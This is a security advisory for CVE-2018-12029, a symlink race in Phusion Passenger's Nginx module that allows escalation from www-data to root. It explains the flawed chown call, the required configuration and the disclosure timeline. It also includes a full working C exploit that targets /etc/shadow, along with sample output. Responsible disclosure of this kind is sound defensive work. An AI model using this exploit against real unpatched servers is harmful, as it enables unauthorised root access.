Pulse Security

VULNERABILITY ADVISORY

Title	Phusion Passenger – ngx_http_passenger_module privilege escalation
Date Released	13/06/2018
CVE	CVE-2018-12029
Author	Denis Andzakovic
Vendor Website	https://www.phusionpassenger.com/
Affected Software	Phusion Passenger < 5.3.2 – Nginx module

SUMMARY

Phusion Passenger's Nginx module is vulnerable to a privilege escalation vulnerability when run with a non-standard `passenger_instance_registry_dir` configuration. A vulnerability exists when creating the `control_process.pid` file, specifically when the file's owner is changed from root. An attacker can use this behavior to escalate privileges from the www-data user to the root user when Nginx is restarted.

Users are advised to upgrade to the latest version of Phusion Passenger

VULNERABILITY

Privilege Escalation

The Passenger Nginx module creates a `control_process.pid` file and uses a `chown` system call to change the owner to `www-data`. By changing the `control_process.pid` file to a symbolic link after the files creation but prior to the `chown` call, an attacker may change the ownership of any file on the filesystem to `www-data`. The following extract from the `ngx_http_passenger_module.c` file details the issue. Passing a file descriptor and using `fchown` instead would resolve the race condition.

NGX_HTTP_PASSENGER_MODULE.C

```
449     if (create_file(cycle, filename, (const u_char *) "", 0) != NGX_OK) {
450         result = NGX_ERROR;
451         goto cleanup;
452     }
453     do {
454         ret = chown((const char *) filename, (uid_t) core_conf->user, (gid_t) -1);
455     } while (ret == -1 && errno == EINTR);
456     if (ret == -1) {
457         result = NGX_ERROR;
458         goto cleanup;
459     }
```

The `passenger_instance_registry_dir` (which sets the passenger temporary directory location) needs to be set to a directory controllable by the www-data user for this vulnerability to be practically exploitable. By default, the Passenger Nginx installations are not configured in such a way that this race condition is exploitable, however non-standard temporary directory configurations are not unusual. In the exploit proof-of-concept code detailed on the following page, the `passenger_instance_registry_dir` was set to `/opt/mytmp`, and configured as follows:

PROOF-OF-CONCEPT - /OPT/MYTMP PERSMISSIONS

```
~$ ls -ld /opt/mytmp/
drwxr-xr-x 3 www-data www-data 4096 May  9 23:06 /opt/mytmp/
```

The following proof-of-concept waits for the creation of the `passenger-<random>` directory and replaces it with a new directory structure, including a `control_process.pid` symbolically linked to `/etc/shadow`. An attacker that controls `/etc/shadow` can manually set the password for the root user, effectively achieving privilege escalation. Please note, if testing this POC the `/etc/shadow` file will likely be overwritten with the Passenger process ID. `/etc/crontab` may be a wiser target for practical exploitation purposes.

PROOF-OF-CONCEPT

```
~$ ./privesc
[+] watching /opt/mytmp
[+] read 48
[+] Got name: passenger.JyOTuQI len 32
[+] Attacking: /opt/mytmp/passenger.JyOTuQI
[+] Race won? Check /etc/shadow
~$ ls -l /etc/shadow
-rw-r--r-- 1 www-data shadow 5 May  9 23:28 /etc/shadow
```

PROOF-OF-CONCEPT – EXPLOIT CODE

```
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <limits.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/inotify.h>

#define BUF_LEN (10 * (sizeof(struct inotify_event) + NAME_MAX + 1))

extern int errno;

void create_dummy_dir(){
    if(mkdir("/var/tmp/passenger-privesc", 0755) < 0){
        printf("[!] mkdir failed: %s\n", strerror(errno));
        _exit(1);
    }
    if(mkdir("/var/tmp/passenger-privesc/web_server_info", 0755) < 0){
        printf("[!} mkdir failed: %s\n", strerror(errno));
        _exit(1);
    }
    if(symlink("/etc/shadow","/var/tmp/passenger-
privesc/web_server_info/control_process.pid") < 0){
        printf("[!] symlink failed: %s\n", strerror(errno));
        _exit(1);
    }
}

int main(){
    char * passenger_instance_registry_dir = "/opt/mytmp";
    int tlen = strlen(passenger_instance_registry_dir);
    int inot_fd, w;
    struct inotify_event * event;
    char buf[BUF_LEN];
    char * p;
    ssize_t len;

    create_dummy_dir();

    char target_path[strlen(passenger_instance_registry_dir) + 19];
    memset(target_path, 0x00, sizeof(target_path));
    char junk_path[strlen(passenger_instance_registry_dir) + 6];
    snprintf(target_path, sizeof(target_path), "%s/passenger.XXXXXXX",
passenger_instance_registry_dir);
    snprintf(junk_path, sizeof(junk_path), "%s/junk", passenger_instance_registry_dir);

    inot_fd = inotify_init();
    if(inot_fd < 0){
        printf("[!] inotify_init() failed: %s\n", strerror(errno));
        return 1;
    }

    w = inotify_add_watch(inot_fd, passenger_instance_registry_dir, IN_CREATE);
    if(w < 0){
        printf("[!] inotify_add_watch() failed: %s\n", strerror(errno));
        return 1;
    }
```

```
    printf("[+] watching %s\n", passenger_instance_registry_dir);

    while(1){
        len = read(inot_fd, buf, BUF_LEN);
        printf("[+] read %zd\n", len);


        for (p = buf; p < buf + len; ) {
            event = (struct inotify_event *) p;
            if(event->name[0] == 0x70){ // check the first character is 'p'.
                printf("[+] Got name: %s len %u\n", event->name, event->len);

                memcpy(target_path+sizeof(target_path)-8, event->name+10, 7);
                printf("[+] Attacking: %s\n", target_path);

                rename(target_path,junk_path);
                rename("/var/tmp/passenger-privesc",target_path);

                printf("[+] Race won? Check /etc/shadow\n");
                goto end;
            }
            p += sizeof(struct inotify_event) + event->len;
        }
    }

end:
    return 1;
}
```

DISCLOSURE TIMELINE

14/05/2018 – Vulnerability disclosed to Phusion team

15/05/2018 – Response from Phusion, advising they need some time to review the code base for similar vulnerabilities.

26/05/2018 – Update from Phusion developers, release is still under development.

06/06/2018 – Update from Phusion developers, release is planned.

08/06/2018 – Update from Phusion developers with the CVE number.

13/06/2018 – Phusion Passenger 5.3.2 released

13/06/2018 – Advisory released